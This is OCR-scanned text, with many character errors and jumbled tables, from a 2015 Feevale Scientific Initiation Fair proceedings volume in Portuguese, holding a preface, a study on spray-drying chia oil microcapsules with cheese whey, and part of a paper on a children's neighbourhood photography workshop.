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A Feira de Iniciagdo Cientifica Feevale (FIC) estd consolidada como uma excelente
oportunidade para que académicos de Instituicoes de Ensino Superior, tanto nacionais quanto
estrangeiras, possam divulgar, discutir e aprimorar os resultados dos trabalhos produzidos no
inicio de sua trajetoria cientifica.

A qualidade, a quantidade e a diversidade dos trabalhos cientificos apresentados de-
monstram o alcance e o sucesso do evento em 2015, cujos indices superam todas as edicoes
ja realizadas. Nesse ano, foram submetidos para avaliacao 799 resumos cientificos de alunos
e egressos da Universidade Feevale e de outras Instituicoes de Ensino Superior do pais e do
exterior. A analise classificatoria selecionou 750 trabalhos, que foram apresentados em forma
de sessoes tematicas e no formato de posteres virtuais. Destes, 67 foram inscritos por académi-
cos de 23 diferentes instituicoes de ensino brasileiras. No que tange as areas do conhecimento,
261 trabalhos aceitos pertencem as Ciéncias da Saude, 153 as Ciéncias Exatas e Tecnologi-
cas, 162 as Ciéncias Humanas, Letras e Artes e 174 as Ciéncias Sociais Aplicadas. O evento
segue ultrapassando as fronteiras nacionais, pois, além de trabalhos regionais, estaduais e na-
cionais, teve incrementado o numero de trabalhos internacionais, o que, certamente, contribuiu
ainda mais para o0 sucesso do evento.

A avaliagao do meérito dessas producoes permitiu identificar os trabalhos destaques nas
distintas areas do conhecimento. O conjunto desses trabalhos constitui a presente publicacag.
A concepcao desta obra pressupbe a pesquisa como principio educativo gerador de conhgci-
mento e a tecnologia como a possibilidade de transferéncia e aplicabilidade do conheci
para a sociedade, ratificando a importancia do evento e da presente publicacao como a

da divulgacao e do aprimoramento do conhecimento cientifico, tecnolégico e inovador.
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0 ¢leo de chia é rico em dmegas 3 e 6, porém esses acidos graxos sao suscetiveis a
oxidacdo. Uma alternativa de protecao contra tal degradacao pode ser o encapsulamento,
técnica que consiste no revestimento de materiais, em forma de microcapsulas. 0 soro
de queijo é um subproduto da producdo de queijo e pode ser aproveitado como mate-
rial de revestimento. O objetivo deste estudo foi verificar a viabilidade de obtencdo de
microcdpsulas de 6leo de chia utilizando o soro como material de parede. As emulsdes
foram preparadas sequindo um planejamento experimental e avaliadas através do indice
de separacao de fases. A proporcdo adequada de ¢6leo e de soro é fundamental para o
processo. Verificou-se que é possivel obter microcapsulas de dleo de chia utilizando o soro
de queijo como material de parede.

Palavras-chave: Microencapsulamento. Oleo de chia. Soro de queijo. Spray-dryer.

BSTRAC

Chia oil is rich in omega-3 and omega-6, but these fatty acids are susceptible to oxida-
tion. The encapsulation can be an alternative protection against such degradation. This
technique consists in coating materials in the form of microcapsules. The cheese whey is
a byproduct of cheese production and can be utilized as a coating material. The aim of
this study was to investigate the feasibility to obtain chia oil microcapsules using cheese
whey as a wall material. The emulsions were prepared by an experimental design and
evaluated through phase separation index. The appropriate proportion of oil and cheese
whey is critical to the process. It has been found that it is possible to obtain chia oil
microcapsules using the cheese whey as wall material.

Keywords: Microencapsulation. Chia oil. Cheese whey. Spray-dryer.




INTRODUCAO

A chia (Salvia hispéanica L.) € uma planta nativa do México, sua semente & rica em fi-
bras, proteinas e gorduras. O 6leo de chia € rico em dmegas 3 e 6, tendo em sua composicao
entre 17 a 26% de acido linoleico e 50 a 57% de acido linolénico (AYERZA, 1995). Esses acidos
graxos poli-insaturados néo sao produzidos pelo organismo humano e dietas com alto teor de
Omegas vem sendo associadas a prevencao de doengas cardiovasculares e respiratorias e
diabetes (MCCLEMENTS et al., 2007).

O alto nivel de insaturacao torna o ¢leo de chia propenso a oxidagao lipidica, o que
pode conferir ao produto caracteristicas indesejaveis e perda de valor nutricional. Uma alterna-
tiva para esta problematica & proteger o 6leo através do encapsulamento (KOLANOWSKI et al.,
2004). Esta técnica consiste na protecao de compostos bioativos sensiveis pelo recobrimento
com outro material. O composto a ser encapsulado € denominado nucleo e o composto prote-
tor, material de parede ou encapsulante (JAFARI et al., 2008).

A escolha de um material de parede adequado € fundamental para que se obtenha
éxito no processo. O encapsulante deve ter propriedades que contribuam para a formacao
de emulsdes estaveis e para a protecao do encapsulado. As proteinas do leite apresentam
a capacidade de estabilizar emulsoes, sendo uma alternativa para a formacéo da parede de
microcapsulas. A goma arabica pode ser utilizada como material de parede devido a sua vis-

cosidade, solubilidade e poder emulsificante (GIBBS et al., 1999; SINGH, 2011).

O Brasil € destaque na producao mundial de leite, segundo dados do IBGE no primgiro
trimestre de 2015 foram produzidos 6,128 bilhdes de litros. Desta produgao trimestral, 13/05%
foram do Rio Grande do Sul (IBGE, 2015). O Vale do Taquari € uma das regides de maior vo-

lume no estado, em torno de 49% da renda dos produtores rurais € proveniente da comercia-




lizacao deste produto. A microrregiao Lajeado-Estrela, que esta inserida no Vale, industrializa
cerca de 1,5 milhoes de litros/dia (UNIVATES, 2011).

Sendo o leite uma matéria prima altamente perecivel, muitos sdo os meios de conserva-
¢ao aplicados, tais como o uso do calor e do frio e a producao de derivados de baixo teor de
agua, como os queijos. Na fabricacao de queijos, 0 soro de queijo representa aproximadamen-
te 90% do volume de leite empregado para sua fabricagdo. O soro contém aproximadamente
55% dos nutrientes do leite, incluindo a lactose (4,5 a 5%) (SISO, 1996). Sua porgéo proteica €
composta por 50% de B-Iactoglobulina, 25% de (-lactoalbumina e 25% de demais proteinas
(Fitzsimons et al., 2006). Quando o soro de queijo é descartado de forma incorreta torna-se um
grave problema ambiental, pois apresenta elevado teor de matéria organica, com uma deman-
da bioquimica de oxigénio (DBO) de 30 a 50 g/L e uma demanda quimica de oxigénio (DQO)
de 50 a 80 g/L (CARVALHO et al., 2013).

Ainda que muitas técnicas tenham sido desenvolvidas para 0 microencapsulamento de
substancias alimenticias, a atomizacao por spray drying € a tecnologia mais comum utilizada
na industria de alimentos. A atomizacao por spray drying € uma operagao unitaria na qual um
produto liquido é atomizado em uma corrente de ar aquecido, permitindo a obtencao instanta-
nea de um produto sélido (GHARSALLAOUI et al., 2007).

O objetivo deste trabalho foi verificar a viabilidade da obtencao de microcapsulas de

oleo de chia pela técnica de spray dryer, utilizando o soro de queijo como material de par




Sumario

MATERIAL E 2.1 MATERIAL

ETODOS Como nucleo das microcapsulas foi utilizado éleo de chia (Girioil Agroindustria Ltda.).
Os agentes encapsulantes utilizados foram goma arabica (Labsyhnth Produtos para Labora-
torio Ltda.), soro de queijo (BRF S.A.) e lecitina de soja (Bremil Industria de Suplementos Ali-

mentares Ltda.).
2.2 METODOS

2.2.1 Preparo das emulsdes

As emulsoes foram preparadas seguindo um planejamento experimental do tipo fatorial

fracionario 25-1 com 2 pontos centrais, gerando um total de 18 experimentos.

As variaveis estudadas no processo de emulsédo foram o tempo de agitagéo (x1, em
minutos), a velocidade de agitacéo (x2, em rpm), concentracao de 6leo de chia (x3, em g/100
g), concentragéo de lecitina de soja (x4, em g/100 g) e concentragdo de goma arabica (x5, em
9/100 g).

Na Tabela 1 estdo apresentados os niveis reais e codificados das variaveis do plane-

jamento.




abela 1 - Niveis reais e codificados das variaveis do planejamento fatorial fracionario A Tabela 2 apresenta a matriz do planejamento com as
para o estudo das condi¢ées de emulsdo do 6leo de chia

Variaveis/Niveis -1 0 +1 condicoes do processo de emulsao utilizadas em cada um dos
x, (minutos) 20 275 35 experimentos.
%, (rom) 10.000 15.000 20.000 Todos os experimentos utilizaram como condicao fixa

1 1 13,7 17 = I
x,(@1009) 0 378 S a concentragao de soro de queijo de 5,75% (m/m). Este va-
x,(9/100 g) 05 075 1,0 ) . - o
lor foi definido para que a emulsao em sua composigao final

x_(9/100 g) 1 3 5

apresentasse aproximadamente 5% (m/m) de lactose, similar
Fonte: Préprio autor

ao teor encontrado no soro de queijo in natura. O teor de agua
Tabela 2 - Planejamento fatorial fracionario para o estudo das condicées de

emuls&o do éleo de chia utilizado nas emulsdes foi ajustado para que a massa final de

Variaveis

cada emulsao fosse de 100 gramas.

X X

Experimento ‘

1 2 3 ~ ~
Para a preparacao das emulsdes empregou-se a meto-
1 20 10.000 10,0 05 5,0
2 35 10.000 10,0 05 1.0 dologia adaptada de MIRHOSSEINI et al. (2008). A goma ara-
3 20 20.000 10,0 05 1,0
4 35 20.000 10,0 05 50 bica foi dissolvida com agua destilada a 60 °C. O soro foi dis-
5 20 10.000 17,5 05 1,0 , , ) ~ -
6 a5 10.000 175 05 5.0 solvido com agua destilada e com a solu¢cao de goma arabica,
7 20 20000 175 05 50 ambas a 20 °C. Nas duas etapas de solubilizacZo foi utilizado
8 35 20.000 17,5 05 1,0
20 10.000 10,0 05 50 um agitador magnético (Velp Scientifica) durante 3 minutos.
35 10.000 10,0 1,0 50 B
20 20.000 10,0 10 10 ApoOs a solugao contendo agua, soro e goma permaneceu sob
35 20.000 10,0 1,0 1,0 o )
agitagao de 300 rpm durante 6 horas, a 20 °C, em incubadoya
20 10.000 17,5 1,0 50
35 10.000 17,5 1.0 1.0 de agitacao orbital MA 830 (Marconi).
20 20.000 17,5 1,0 5,0
35 20.000 17,5 1,0 5,0 Apos a homogeneizacao da solugao, contendo o/ ma-
275 15.000 13,75 0,75 30 , o ~ ) ,
275 15.000 1375 075 3.0 terial de parede, adicionou-se a fragcao de dleo de chi

Fonte: Préprio autor citina de soja. O 6leo e a lecitina foram pré-homogeneizados




em vortex AP 5 (Phoenix). As misturas contendo goma arabica, agua, soro de queijo, 6leo de
chia e lecitina de soja foram emulsionadas em um emulsor DIAX 900 (Heidolph), seguindo as
condicoes de tempo e velocidade de agitacao da Tabela 2.

Além dos experimentos descritos na Tabela 2, preparou-se uma Emulsdo Adicional,

contendo 6% (m/m) de oleo de chia e 18% (m/m) de soro de queijo, e com as variaveis X0 X
X, € X nas mesmas condicoes do Experimento 16. Nessa emulsao, a concentracao de 6leo de

chia representa 20% (m/m) do total de sélidos.
2.2.2 Secagem das emulsdes

O processo de spray drying da emulsao do Experimento 16 e da Emulsao Adicional foi

realizado em um spray dryer MSD 0.5 (Labmaq), com bico de duplo fluido de 1,2 mm de diame-

tro. A emulsao foi transportada até a camara de secagem através de uma bomba peristaltica,
com vazao de alimentacéo de 0,3 L/h, ar de secagem a 2,5 m’/min e ar de spray de 45 L/min.

A temperatura de saida do ar foi de 105 °C.
2.3 ANALISES

2.3.1 indice de separacao das emulsdes

Um volume de 10 mL de cada emulsao foi transferido para uma proveta, medindo-s¢ a
altura inicial das emulsdes. Apos as provetas foram armazenadas a 25 °C. A altura da fase/rica
em soro (inferior) de cada emulséo foi medida apos 24 horas. Com esta andlise foi possivel

os valores indice de separacao (1.S.) das emulsdes segundo a Equacao 1 (ROLAND et al.,




3 RESULTADOS E
ISCUSSAO

1.5.(%) = M Equacao (1)

0
Onde:

A0 corresponde a altura inicial da emulsao e A1 a altura da fase rica em soro apos 24 horas.
2.3.2 Andlise morfoldgica das emulsées

Essa analise foi realizada com a emulsao de 6leo de chia do Experimento 16 e com a
Emulsao Adicional. As emulsdes foram diluidas com agua destilada na proporcao 1:2, e em

seguida analisadas em um microscopio com um aumento de 40x DM 500 (Leica).

2.3.3 Anélise morfoldgica das microcapsulas

Essa analise foi realizada apenas com a Emulsao Adicional de o6leo de chia. As micro-
capsulas obtidas atraves da secagem foram observadas em um Microscopio Eletrénico de

Varredura (MEV), EVO MA 15 (Carl Zeiss).

3.1 INDICE DE SEPARACAQ DAS EMULSOES

A Tabela 3 apresenta os resultados de indice de separacéao das 18 emulsoes elabora

das empregando o planejamento experimental fatorial fracionario.
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bela 3. indices de separaca@o das emulsdes de soro de queijo e 6leo de chia obtidas 0 Experimento 16 apresentou o menor indice de sepa-

a partir das condigdes do planejamento experimental

Experimento indice de separagao (%) ragao, 62,92%. O indice de separacao da Emulsao Adicional,
; zzzz com maior teor de soro de queijo, foi de 53,03%.
j Zzzs Proteinas podem sofrer desnaturac&o durante o pro-
5 71:25 cesso de homogeneizacao, devido aos elevados gradientes
j ;SZ de pressao gerados no homogeneizador. Tal desnaturacao
2 ;22; proteica pode ter uma influéncia sobre a estabilidade e demais
1? 32;2 propriedades das emulsdes (MCCLEMENTS, 2004). A hidrélise
12 82:31 causada nas proteinas do soro de queijo tem efeito sobre a vis-
f‘ jz;z cosidade da fase continua da emuls&o, por esta razdo quando
:Z gzzz a quantidade de lactose no meio € maior tende-se a maior es-
17 72:73 tabilidade de emulsao (DYBOWSKA, 2011).
18 75,78

Fonte: Préprio autor

3.2 ANALISE MORFOLOGICA DAS EMULSOES

A Figura 1 apresenta a analise morfologica da Emulsao

Adicional e da emulsao do Experimento 16.

O tamanho médio das gotas foi menor na emulséo mais
estavel (Emulsédo Adicional (Figura 1A)), com menor indice de
separacao. Este resultado esta de acordo com o principi

que, emulsdes com menores gotas sado fisicamente mai

agens de microscopio com aumento de 40x da Emulsdo Adicional (A) e da
emulsdo do Experimento 16 (B)
Fonte: Proprio autor instabilidade do sistema € resultado da formagao de gotas de

taveis do que as com gotas maiores. Em outras palavfas, a



Figura 2 - Ades&@o do material nas paredes do secador
Fonte: Préprio autor

grande tamanho, que por sua vez, impulsionam o processo de
coalescéncia (KLAYPRADIT e HUANG, 2008).

A partir da Figura 1, € possivel observar que a amostra
com menor teor de 6leo de chia e maior teor de soro de queijo
apresentou menores tamanhos de gotas, justificando a maior
estabilidade.

TONON et al. (2011), em seus estudos sobre a mi-
croencapsulagao do oleo de linhaga com goma arabica, con-
cluiram que uma concentracao mais elevada de 6leo resultou
numa menor viscosidade da emuls&o e isso levou a uma maior
dimenséao das goticulas, o que pode influenciar na estabilida-

de da emulsao.

3.3 SECAGEM DAS EMULSOES

Para a secagem da emulsédo do Experimento 16 (emul-
sdo mais estavel do planejamento experimental) foram utilizadas
as condigoes citadas anteriormente, porém, nao foi possivel a
obtencao de particulas solidas. Provavelmente a geragao de
particulas foi prejudicada pelo teor de oleo superficial das/mi-
crocapsulas, que ocasionou a adesao do material nas pargdes

do equipamento, conforme pode ser observado na Figura/2.




Uma justificativa para este comportamento pode ser encontrada ao se analisar a pro-
porcao do material de parede em relacao ao material do ndcleo nas emulsdes do planejamen-
to executado (Tabela 2). Estudos realizados por DYBOWSKA (2011) apontam que, quando a
concentracao de proteina € insuficiente para promover o recobrimento superficial das gotas,
0 processo de secagem torna-se ineficaz. Na emulsao do Experimento 16 a proporcao de en-
capsulado foi superior a quantidade de encapsulante.

Segundo TAN et al. (2005), quando a proporcao de oleo € muito elevada e o material
de parede ¢ insuficiente para encapsular o 6leo, parte do 6leo nao encapsulado permanece
na superficie das microcapsulas. Com a redugao desta quantidade de 6leo & possivel obter
particulas com um bom tamanho, maior eficiéncia de encapsulamento e menor quantidade de
6leo na superficie, 0 que evita a adesao no equipamento.

TONON et al. (2011) realizaram estudos buscando a concentragéo de oleo ideal em
emulsdes de oleo de linhaca e goma arabica, de modo a favorecer a formagao de particulas
através de spray drying. Seus resultados indicam que a concentracao ideal € de 20% (m/m) de
solidos na emulséo e desse total, o teor de 6leo também deve ser de 20% (m/m). FRASCARELI et
al. (2012) realizaram o encapsulamento de oleo de café com goma arabica e suas analises de-
monstraram que a concentragéo ideal de 6leo foi de 15% (m/m) do total de solidos (30% (m/m)).

Com base nesses trabalhos, foi elaborada a Emulsao Adicional, com teor de 6leo aj
tado em relagao ao teor de soro de queijo, de modo que a quantidade de material no nucleg foi
reduzida para 20% (m/m) em um total de 30% (m/m) de solidos. Essa emulséo foi submgtida
a secagem nas mesmas condicoes da emulsdo do Experimento 16, e foi possivel a obtencao

de microparticulas.




3.4 ANALISE MORFOLOGICA DAS
MICROCAPSULAS

A analise morfolégica das microcapsulas, obtidas a
partir da secagem da Emulsao Adicional, de acordo com a
Figura 3 mostrou adesao entre as particulas. Isto pode estar
relacionado com a baixa temperatura utilizada na secagem
(umidade). Apesar disso a superficie das particulas mostrou-

-se uniforme, sem porosidade e o tamanho variou de 2 a 9 um.

2um Mag= 3.00KX EHT = 20.00 kY
WD = 30mm Signal & = SE1
Figura 3 - Imagem de MEV das microcapsulas de ¢leo de

chia com soro de queijo como material de parede
Fonte: Préprio autor

4 CONCLUSAO A partir dos resultados obtidos no presente trabalho, & possivel concluir que a estabili-
dade de emulsdes de 0leo de chia com soro de queijo € influenciada pelos teores destes dois
componentes na mistura. O ajuste da proporcao de material de parede em relagao ao materjal
de nucleo é fundamental para obtengdo de microcapsulas de éleo de chia por secagem/em
spray dryer. Verificou-se que é possivel obter microcapsulas de 6leo de chia utilizando ¢gomo

material de parede o soro de queijo.
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Este artigo disserta sobre 0s processos que levaram um grupo de criangas a construirem
um novo olhar sobre o bairro onde vivem e discutirem a relacao entre comunicacdo e
cultura por meio da producao de imagens locais. A partir das oficinas de Educacao e Foto-
grafia proposta pelo projeto de extensao Nosso Bairro em Pauta da Universidade Feevale
em 2014, os alunos da rede municipal de Novo Hamburgo compreenderam a linguagem
fotogrdfica e, por meio dela, passaram a ser melhores observadores sobre aquilo que
constitui o seu cotidiano. Sao realizadas aulas sobre a técnica fotografica, em que o bairro
Passa 3 Ser 0 cendrio para as composicdes e suas ruas se toram a sala de aula, fazendo
da fotografia uma importante ferramenta pedagdgica. Este trabalho interdisciplinar resulta
do encontro da escola e a universidade e é construido a partir das contribuicoes dos
Estudos Culturais.

Palavras-chave: Fotografia. Midia. Comunicacdo. Crianca. Educacao.

BSTRAC

This article talks about the process that led a group of children to build a new view at the
neighborhood where they live and discuss the relationship between communication and
culture through local images. From workshops of Education and Photography proposed
by the extension project Our Neighborhood on the agenda of Feevale University in 2014,
students from Novo Hamburgo municipal schools understood the photograph language
and, through it, become better observers about their everyday. Classes on photography
technique are given, where the neighborhood becomes the setting for the compositions
and its streets become the classroom, making the photography an important teaching
tool. This interdisciplinary work is the result of @ meeting between school and university
and built with cultural studies contribution.

Keywords: Photography. Media. Communication. Child. Education.




INTRODUCAO

A gente fez caminhadas pelo bairro, fizemos fotos dos moradores, foi bem legal,
conheci muita gente nova. No final da oficina, a gente viu um video com todas
as fotos que fizemos. Eu me senti bem em ver, porque eu vi como foi tudo aquilo
de novo. Eu descobri que eu sabia fazer e agora estou sempre fotografando as
coisas, e foi nesta oficina que aprendi. O que mais gostei foi fotografar os mora-
dores, porque foi bem legal descobrir o trabalho de cada um. Teve um idoso que
a gente fotografou, ele era meio surdo, tinha que falar bem perto dele. Tinha uma
senhora que agente foi visitar, ela era florista. Foi muito legal entrar dentro do
estudio, eu nunca tinha entrado, eu achei bem legal fotografar e ser fotografado.
Quando eu fotografava alguém, eu cuidei para a camera nao ficar torta. Quando
eu fui fotografada, me senti envergonhada. Eu acordava de manha, baguncava
todo o roupeiro, procurando a melhor roupa que tinha, me maquiava toda, me
enchia de perfume e procurava o melhor sapato que tinha, porque eu queria que
essa foto fosse bem bonita (Emelly Leal, 9 anos)'.

Diariamente, somos interpelados pelas mais diversas fontes de imagens: TV, video,
cinema, revistas, jornais, fotografias, outdoors, imagens em sites na Internet, em redes sociais,
etc. Em outras palavras, consumimos imagens todos os dias e em todos os momentos. Ao
mesmo tempo, a producao de fotografias tornou-se cada vez mais acessivel. Em tempos da
proliferagao de celulares com camera e equipamentos digitais, € preciso refletir sobre a impor-
tancia da leitura das imagens quando estamos diante de uma cultura visual associada a cultura
do consumo. E preciso olhar essas imagens de maneira critica, pois &, na sua amplitude, qu
deciframos seus codigos. Nesse cenario, 0 uso da fotografia no contexto escolar mostra
ha outras possibilidades para o processo de construcao do conhecimento. O objetivo dgste

trabalho” é contribuir para a formacao de um olhar, em que a fotografia servird como ferr
" Aluno da rede publica municipal participante das oficinas de fotografia do projeto de extensao Nosso Bairro em Pauta.
? Este estudo integra etapa da pesquisa institucional coordenada pela professora Sarai Schmidt.




ta ou estratégia pedagogica para a producao de imagens que constituem a redescoberta do
nosso cotidiano.

As oficinas de fotografia do projeto Nosso Bairro em Pauta foram criadas em 2007 com
a proposta de ampliar a visao dos alunos sobre o bairro onde vivem. Antes de sairem para
fotografar, os alunos aprendem de forma Itdica a manipular as cameras e a pensar a fotogra-
fia. Com orientagao da equipe, sao propostas caminhadas pelo bairro para que os estudantes
possam registrar suas imagens. Além de aprender as técnicas fotograficas, as criangcas sao
incentivadas a valorizar o seu bairro € o lugar em que moram. Durante os nove anos de ofici-
nas, tivemos diferentes experiéncias que oportunizaram que alunos da rede publica revelaram
novos angulos do seu bairro. O trabalho € conduzido por meio da parceria de académicos de
Comunicagao Social com os professores das escolas publicas. Dentre as experiéncias viven-
ciadas, cabe destacar algumas.

Uma delas € o projeto Imagens do Sao Jose, no qual estudantes das escolas Campos
Salles, Rodrigues Alves, Eugénio e Adolfina produziram fanzines com fotos e entrevista feitas
com moradores do bairro Sdo José. No segundo ano, foram impressos cartdes postais a partir
da escolha da comunidade, por meio do voto popular, das imagens que deveriam representar

o bairro. Outra experiéncia foi o resgate da historia do bairro Vila Nova a partir do olhar das

criangas e jovens. A iniciativa seguinte foi a mostra Hortas Urbanas, momento em que a equipe
percorreu pequenas hortas produzidas pelos moradores. No ano seguinte, foi a vez de pergor-
rer o bairro para fotografar a matematica que esta em cada esquina, em cada casa e em ¢ada
calcada. E para este artigo o recorte sera descrever e analisar a experiéncia da mostra Nosso

Bairro, Nossa Gente.




O objetivo deste trabalho €, portanto, promover a construcao de uma educacao do
olhar. A proposta envolveu um grupo de académicos de Publicidade e Propaganda, Jornalismo
e jovens do ensino fundamental que realizaram a producao de retratos dos colegas e de mo-
radores do bairro Vila Nova. A partir dessa experiéncia ocorrida no ambito da extensao univer-
sitaria, estamos promovendo uma nova compreensao da realidade marcada pela proliferagao
de imagens, aléem de possibilitar aos alunos da rede publica uma maior aproximagao com sua
comunidade e revelar outros angulos do seu local de vivéncia comunitaria.

A producao dos retratos mostrou-se um método eficaz para a construgdo de uma edu-
cacao estética do olhar para o cotidiano e uma estratégia produtiva para discutir a cultura
midiatica com jovens da rede publica. Somos dotados de visao e, muitas das vezes, ndo con-
seguimos visualizar nem mesmo o que esta diante de nossos proprios olhos diariamente. A
utilizacao das cameras fotograficas como recurso pedagogico amplia a nossa capacidade de
perceber aquilo que esta ao nosso redor e amplia nossa visao do cotidiano. As observacoes
feitas a partir da fotografia revelaram aos jovens fotdgrafos a descoberta de novos angulos
para a sua “realidade”.

Nosso Bairro, Nossa Gente ¢ um trabalho interdisciplinar que resulta da troca de sabe-
res entre o conhecimento dos académicos e as vivéncias e experiéncias da comunidade. E o
encontro entre escola e Universidade. A oficina é realizada por académicos de Comunicagao
Social, futuros publicitarios ou jornalistas. Um dos propositos do projeto Nosso Bairro em Rau-
ta é apostar na possibilidade de tornar os futuros profissionais da Comunicagao conscigntes
sobre a importancia do seu papel dentro da sociedade como formadores de opinido, desejos,

valores, padroes, comportamentos, entre tantas outras caracteristicas difundidas pelos supor-




2 NOSSO BAIRRO,
NOSSA GENTE

tes midiaticos. E nesse espaco que o académico tem a oportunidade de colocar em pratica os
conteudos vistos em sala de aula, além de expandir seus conhecimentos nos trabalhos produ-
zidos. A oficina Nosso Bairro, Nossa Gente foi planejada a partir de dois eixos norteadores: a
educacao estética do olhar e o resgate da historia da comunidade por meio da producéao dos
retratos. As cameras fotograficas se tornaram aliadas no processo de aprendizagem, ou seja,
a observagao passa por um instrumento que a torna concreta através da fotografia. Partindo
do manuseio da camera fotografica e da producéo dos retratos, € que introduzimos a estética
do olhar, pois, através da compreensao de suas técnicas, sera possivel estabelecerem a co-

municacao visual.

Nosso Bairro Nossa Gente € uma oficina que encontra na fotografia a oportunidade de
despertar novos olhares: olhares de um grupo de criangas sobre si, sobre seus colegas e o
bairro onde vivem. As oficinas contribuem para um olhar mais engajado por sua comunidade,
uma vez que, na medida em que vemos a fotografia, analisando sua linguagem mais profunda-
mente, passamos a ser mais observadores e nos envolvemos de maneira diferente com o que
esta a nossa volta.

A maquina fotografica sempre sera um suporte para nossa observacao; ela media nog-




Segundo Sebastido Salgado (apud GURAN, 1999, p. 31), “Vocé néo fotografa (apenas) com
sua maquina. Vocé fotografa com toda sua cultura, os seus condicionamentos ideoldgicos”.

A producao do ensaio fotografico Nosso Bairro, Nossa Gente foi realizado por meio
da parceria do projeto de extensao universitaria Nosso Bairro em Pauta com uma turma do
segundo ano do ensino fundamental da escola EMEF Presidente Affonso Penna. Os encontros
ocorriam, semanalmente, no turno da tarde, sendo um na escola e outro na universidade. A
producao dos retratos no contexto escolar despertou novas competéncias do olhar atraves da
fotografia, que nas tentativas de uma boa composicao, surge mais observador. O propdsito
que mobilizou os encontros foi resgatar a histéria da comunidade por meio da producao dos
retratos, fotos que os alunos fizeram de diversos moradores e comerciantes do bairro Vila No-
vas. As fotos mostraram aspectos e caracteristicas Unicas da dona de casa, do barbeiro, do
carroceiro, da professora, entre tantos outros fotografados, além de nos ajudar a desvendar a
historia da comunidade através de suas vivéncias. Para um melhor entendimento dos proces-
sos que utilizamos, é necessario compreender nossa metodologia de trabalho. Schmidt (1999)
ajuda a compreender a importancia da pedagogia das imagens ou a pedagogia do olhar:

Acredito que em meio ao emaranhado de fotografias em que estamos imersos,
seja nos jornais, nas revistas ou nos outdoors, que nos encantam em cada es-
quina, talvez seja interessante refletir sobre o papel que as imagens tém d

sempenhado nos curriculos escolares e, consequentemente na capacidade de
professores e professoras lidarem com estes materiais (SCHMIDT, 1999, p.

Nesse sentido, torna-se importante refletir sobre a maneira que olhamos e somos Jolha-

dos. Quando estudamos uma imagem, nao estamos analisando um objeto, mas um olhar que,




por sua vez, se materializou em uma foto. Por tras de uma camera, sempre havera uma pessoa
que, de acordo com sua bagagem cultural, selecionara e excluira elementos da cena. O exerci-
cio de enquadrar e compor uma foto séo duas entre tantas outras decisdes que farao com que
um olhar nunca seja igual a outro. Temos, pois, um emaranhado de producdes imagéticas por
todo mundo, cada qual com suas intengoes, que gerarao outras tantas interpretagdes. Partindo
desta mesma perspectiva, Dubois (Apud SAMAIN, 2005, p.13) nos fala que “aprender, deste
modo, o fotografico como uma categoria que néo se limita aos Unicos objetos — imagens, en-
tender o fotografico como uma definicéo possivel de uma maneira de ser no mundo, como um
estado do olhar e do pensamento”.

Da mesma forma, o olhar na fotografia ainda € uma producao singular e que nos permite
compartilhar, com muitos outros, aquilo que vemos. S&o tantas imagens, tantos olhares que a
cada momento percebemos de modo diferente um mundo que achavamos que conheciamos.
No momento em que produzimos uma imagem, estamos produzindo codigos visuais que serao
interpretados por outras pessoas.

Os tedricos, estudados para este artigo, afirmam que a proliferacao da fotografia foi
acompanhada de um empobrecimento do olhar critico para o mundo que nos cerca, uma vez

que, muitas vezes, observamos as imagens sem ao menos entender sua narrativa. 1sso nos

faz refletir sobre o quanto as imagens sao codificadas e a necessidade de entendermos sya
mensagem. Esta proposta de levar a discussao da midia, da cultura das imagens associada a
cultura do consumo para a escola publica encontra, no uso das cameras fotograficas, o dpoio
para a observacao do meio social e a ferramenta para o desenvolvimento de uma alfabetizacao

das imagens. Dessa forma, Dondis (1991) propoe:




Quantos de nés veem? Para dizé-lo de modo ostensivo, todos, menos os cegos.
Como estudar o que ja conhecemos? A resposta a essa pergunta encontra-se
numa definicao de alfabetismo visual como algo além do simples enxergar,
como algo além da simples criagdo de mensagens visuais. O alfabetismo visual
implica a compreenséo e meios de ver e compartilhar o significado a um certo
nivel de universalidade (DONDIS, 1991, p. 227).

Essa perspectiva marca a concepcao da oficina de fotografia desenvolvida no projeto.
O alfabetismo visual se insere dentro da proposta como uma educagao estética do olhar, que
se deu a partir de uma releitura desta nova cultura visual que estamos vivendo. O primeiro
passo da nossa oficina foi 0 encontro com a escola e a universidade, pois, a partir disso, discu-
timos os pontos que norteariam o planejamento. Era importante que, dentro dele, as criancas
compreendessem 0s processos da fotografia e ndo a vissem apenas como algo tecnologico,
mas como ferramenta poderosa da midia para construgoes de representagdes, que se conven-
cionam como padroes de identidade. Sendo assim, Schmidt (1999, p.8), alerta sobre a relagéo
midia e educacao na fotografia do jornal: “Mostrar como as relagdes de poder forjadas e ope-
rantes na arena cultural, vao consolidando e legitimando concepgoes, fortalecendo posicoes
politicas — filosoficas, produzindo identidades e coordenando sujeitos”.

Os avancos da fotografia, além de permitir a democratizacao do acesso a producao de
imagens, impactaram, completamente, os meios de comunicagao, assim como 0s avangos
Internet e o surgimento das redes sociais possibilitaram que milhares de imagens sejam p
cadas todos os dias ininterruptamente. Samain (1995, p. 9) também reflete sobre essa quegtao,

afirmando que, “Ao focalizar mais precisamente a questéo das imagens, eu diria que elas gstao




presentes em cada e em todos meios de comunicacao humana. Por assim falar, elas povoam
0 universo da comunicagao humana, desde a fala até a informatica”.

Apos as discussoes entre académicos, alunos e professora da turma, decidimos, co-
letivamente, que o foco seria a producao dos retratos para enxergar, através da fotografia,
caracteristicas que mostrem a identidade de uma pessoa, tragos Unicos do seu modo de ser e
sua personalidade. Buscavamos trabalhar a maneira com que se vé o proximo e a maneira com
que se € visto. O ato de fotografar nos da a possibilidade de ver por um outro angulo, tira-nos
da zona de conforto e faz-nos querer ver o que outras pessoas nao viram. A fotografia abriu
novas possibilidades de ver o mundo, de ver o outro, de ver a si. Moisés (1997, p. 327) reflete
que “Cada pessoa € um olhar langcado ao mundo e um objeto visivel ao olhar do mundo. Cada
corpo dispde de um jeito de olhar que Ihe é proprio e essa particularidade condiciona tambéem
sua visibilidade como corpo diferente dos outros”.

Em nosso primeiro encontro, todos compartilharam o gosto por fotografar e que pos-
suem uma maquina fotografica na familia, fato que ajuda a inferir que, com avancgos tecnolo-
gicos, a fotografia foi se tornando cada vez mais acessivel e o que antes era privilégio de uns,
hoje ¢ de facil acesso para muitos. A maquina fotografica foi se modificando e o que antes era
pesado, fragil e caro, hoje € um aparelho que cabe no bolso.

Partindo do principio de conhecermos uns aos outros e dar inicio as atividades,
alunos percorreram o jardim do campus em duplas, fotografando-se e, apds, apresentara
colega a partir da foto. Com essa atividade, os alunos tiveram que observar, mais atentamgnte,
0 colega para descrevé-lo a partir do seu registro, do seu olhar. Também serviu comq@ uma

